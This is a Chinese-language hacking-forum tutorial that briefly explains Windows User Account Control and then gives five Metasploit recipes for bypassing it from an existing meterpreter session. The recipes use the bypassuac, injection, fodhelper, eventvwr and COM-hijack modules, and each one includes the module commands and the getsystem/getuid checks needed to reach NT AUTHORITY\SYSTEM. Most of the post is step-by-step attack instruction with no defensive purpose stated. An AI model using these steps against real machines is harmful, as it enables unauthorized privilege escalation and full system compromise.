標題:使用Metasploit繞過UAC的多種方法

taibeihacker

Moderator

一、用户帐户控制(UAC)简介

在本文中,我們將簡要介紹一下用戶帳戶控制,即UAC。我們還將研究它如何潛在地保護免受惡意軟件的攻擊並忽略UAC提示可能給系統帶來的一些問題。

1.什么是用户帐户控制(UAC)?

Microsoft的Windows Vista和Windows Server 2008操作系統引入了一種良好的用戶帳戶控制架構,以防止系統範圍內的意外更改,這種更改是可以預見的,並且只需要很少的操作量。
換句話說,它是Windows的一個安全功能,它支持防止對操作系統進行未經授權的修改,UAC確保僅在管理員授權的情況下進行某些更改。如果管理員不允許更改,則不會執行這些更改,並且Windows系統保持不變。

2.UAC如何运行?

UAC通過阻止程序執行任何涉及有關係統更改/特定任務的任務來運行。除非嘗試執行這些操作的進程以管理員權限運行,否則這些操作將無法運行。如果您以管理員身份運行程序,則它將具有更多權限,因為它將被“提升權限”,而不是以管理員身份運行的程序。
一些沒有管理員權限無法完成的操作:
註冊表修改(如果註冊表項在HKEY_LOCAL_MACHINE下(因為它影響多個用戶),它將是只讀的)
加載設備驅動程序
DLL注入
修改系統時間(時鐘)
修改用戶帳戶控制設置(通過註冊表,可以啟用/禁用該設置,但您需要正確的權限才能執行此操作)
修改受保護的目錄(例如Windows文件夾,Program Files)
計劃任務(例如,以管理員權限自動啟動)
UAC不會自動阻止惡意軟件,其目的不是確定程序是否是惡意軟件。這同樣取決於用戶。如果將以管理員權限執行程序,則將提醒用戶並且需要用戶確認。

二、绕过UAC的方法​

首先通過explloit獲得目標主機的meterprter。獲得meterpreter會話1後,輸入以下命令以檢查是否是system權限。
getsystem
getuid
如果您沒有系統/管理權限。然後您應該繞過目標系統的UAC保護。

1.方法一:Windows权限升级绕过UAC保护

此模塊將通過進程注入使用可信任發布者證書繞過Windows UAC。它將生成關閉UAC標誌的第二個shell。
msfuseexploit/windows/local/bypassuac
msfexploitwindows/local/bypassuac)setsession1
msfexploit(windows/local/bypassuac)exploit
從給定的meterpreter中,您可以看到meterpreter會話2已打開,現在以下命令以確定system權限特權.
getsystem
getuid
很好這裡我們獲得了NT AUTHORITY\SYSTEM 權限,現在如果你輸入“shell”命令,你將獲得具有管理員權限的命令提示符。
wb1ujks0pw422765.png

2.方法二:Windows权限提升绕过UAC保护(内存注入)

此模塊將通過進程注入使用可信任的發布者證書繞過Windows UAC。它將生成關閉UAC標誌的第二個shell。在普通技術中,該模塊使用反射式DLL注入技術並只除去了DLL payload 二進製文件,而不是三個單獨的二進製文件。但是,它需要選擇正確的體系架構(對於SYSWOW64系統也使用x64)。如果指定exe:custom,應在單獨的進程中啟動payload 後調用ExitProcess()。
msfuseexploit/windows/local/bypassuac_injection
msfexploit(windows/local/bypassuac_injection)setsession1
msfexploit(windows/local/bypassuac_injection)exploit
從給定的meterpreter中,您可以看到meterpreter會話2已打開,現在輸入以下命令以確定system權限特權。
getsystem
getuid
最終你將獲得NT AUTHORITY\SYSTEM 權限,現在如果你輸入“shell”命令,你將獲得具有管理員權限的命令提示符。
neboqkd0vdj22766.png

3.方法三:绕过Windows UAC保护(通过FodHelper注册表项)

此模塊將通過在當前用戶配置單元下劫持註冊表中的特殊鍵並插入將在啟動Windows fodhelper.exe應用程序時調用的自定義命令來繞過Windows 10 UAC。它將生成關閉UAC標誌的第二個shell。此模塊修改註冊表項,但在調用payload後將清除該項。該模塊不需要payload的體系架構和操作系統匹配。如果指定exe:custom,則應在單獨的進程中啟動payload後調用ExitProcess()。
msfuseexploit/windows/local/bypassuac_fodhelper
msfexploit(windows/local/bypassuac_fodhelper)setsession1
msfexploit(windows/local/bypassuac_fodhelper)exploit
從給定的meterprer中,您可以看到meterpreter會話2已打開,現在輸入以下命令以確定system權限特權。
getsystem
getuid
很好, 這裡我們獲得了NT AUTHORITY\SYSTEM 權限,現在如果你輸入“shell”命令,你將獲得具有管理員權限的命令提示符。
r3la1hxcjd222767.png

4.方法四:Windows权限升级绕过UAC保护(通过Eventvwr注册表项)

此模塊將通過在當前用戶配置單元下劫持註冊表中的特殊鍵並插入將在啟動Windows事件查看器時調用的自定義命令來繞過Windows UAC。它將生成關閉UAC標誌的第二個shell。此模塊修改註冊表項,但在調用payload後將清除該項。該模塊不需要payload的體系架構和操作系統匹配。如果指定EXE :Custom,則應在單獨的進程中啟動payload後調用ExitProcess()。
msfuseexploit/windows/local/bypassuac_eventvwr
msfexploit(windows/local/bypassuac_eventvwr)setsession1
msfexploit(windows/local/bypassuac_eventvwr)exploit
從給定的meterpreter中,您可以看到meterpreter會話2已打開,現在輸入以下命令以確定system權限特權。
getsystem
getuid
您將再次獲得NT AUTHORITY\SYSTEM 權限。
3xm2qjwv4o022768.png

5.方法五:Windows权限升级绕过UAC保护(通过COM处理程序劫持)

此模塊將通過在hkcu配置單元中創建COM處理程序註冊表項來繞過Windows UAC。當加載某些較高完整性級別進程時,會引用這些註冊表項,從而導致進程加載用戶控制的DLL。這些DLL包含導致會話權限提升的payload。此模塊修改註冊表項,但在調用payload後將清除該項。這個模塊需要payload的體系架構和操作系統匹配,但是當前的低權限meterpreter會話體系架構中可能不同。如果指定exe:custom,則應在單獨的進程中啟動payloa後調用ExitProcess()。此模塊通過目標上的cmd.exe調用目標二進製文件。因此,如果cmd.exe訪問受到限制,此模塊將無法正常運行。
msfuseexploit/windows/local/bypassuac_comhijack
msfexploit(windows/local/bypassuac_comhijack)setsession1
msfexploit(windows/local/bypassuac_comhijack)exploit
從給定的meterpreter中,您可以看到meterpreter會話2已打開,現在鍵入以下命令以確定system權限特權。
getsystem
getuid
最後,您將獲得NT AUTHORITY\SYSTEM 權限,現在如果您再次運行“shell”命令,那麼您將獲得具有管理員權限的命令提示符訪問權限,這樣我們就可以通過Metasploit利用exploit來繞過UAC保護。
wus3pzt0l4y22769.png
 
返回
上方